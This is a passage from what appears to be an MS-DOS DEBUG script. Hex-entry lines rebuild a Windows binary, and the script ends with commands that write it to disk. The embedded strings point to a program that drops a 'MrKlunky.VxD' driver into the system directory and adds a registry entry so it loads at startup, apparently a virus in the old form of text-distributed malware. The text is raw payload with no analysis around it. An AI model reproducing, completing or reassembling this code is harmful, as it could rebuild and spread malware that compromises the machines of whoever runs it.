C3 0F 8F 9C 00 00 00 03 F8 80 7F FF +E 1910 5C 75 01 4F 8D B5 31 03 00 00 B9 0E 00 00 00 F3 +E 1920 A4 BB 01 00 00 00 BF 00 00 00 C0 E8 8F FF FF FF +E 1930 72 75 8D 85 B4 03 00 00 E8 6D FF FF FF 72 68 6A +E 1940 00 8D BD 05 05 00 00 57 68 00 00 00 00 8D BD 88 +E 1950 05 00 00 57 53 FF D0 66 81 BD 05 05 00 00 00 00 +E 1960 74 02 33 C0 97 8D 85 A7 03 00 00 E8 3A FF FF FF +E 1970 72 35 53 FF D0 96 8D 85 60 03 00 00 E8 29 FF FF +E 1980 FF 72 24 53 FF D0 8D 85 48 03 00 00 E8 19 FF FF +E 1990 FF 72 14 53 FF D0 83 F8 00 74 0C 83 FE 00 74 07 +E 19A0 83 FF 00 74 02 F8 C3 F9 C3 5C 5C 2E 5C 4D 72 4B +E 19B0 6C 75 6E 6B 79 2E 56 78 44 00 4B 45 52 4E 45 4C +E 19C0 33 32 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 43 +E 19D0 72 65 61 74 65 46 69 6C 65 41 00 46 6C 75 73 68 +E 19E0 46 69 6C 65 42 75 66 66 65 72 73 00 47 65 74 4C +E 19F0 61 73 74 45 72 72 6F 72 00 47 65 74 53 79 73 74 +E 1A00 65 6D 44 69 72 65 63 74 6F 72 79 41 00 47 65 74 +E 1A10 57 69 6E 64 6F 77 73 44 69 72 65 63 74 6F 72 79 +E 1A20 41 00 53 65 74 45 6E 64 4F 66 46 69 6C 65 00 57 +E 1A30 72 69 74 65 46 69 6C 65 00 41 44 56 41 50 49 33 +E 1A40 32 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 52 65 +E 1A50 67 43 72 65 61 74 65 4B 65 79 45 78 41 00 52 65 +E 1A60 67 53 65 74 56 61 6C 75 65 45 78 41 00 00 00 00 +E 1A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1B90 00 00 00 00 53 74 61 72 74 00 53 59 53 54 45 4D +E 1BA0 5C 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 +E 1BB0 65 74 5C 53 65 72 76 69 63 65 73 5C 56 78 44 5C +E 1BC0 4D 72 4B 6C 75 6E 6B 79 00 53 74 61 74 69 63 56 +E 1BD0 78 44 00 00 00 00 00 0F 00 00 00 47 65 74 50 72 +E 1BE0 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 11 00 +E 1BF0 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C +E 1C00 65 41 00 CC 08 4D 52 4B 4C 55 4E 4B 59 00 00 0C +E 1C10 4D 52 4B 4C 55 4E 4B 59 5F 44 44 42 01 00 00 +RCX +1B1F +W +Q + +;============================================================================ +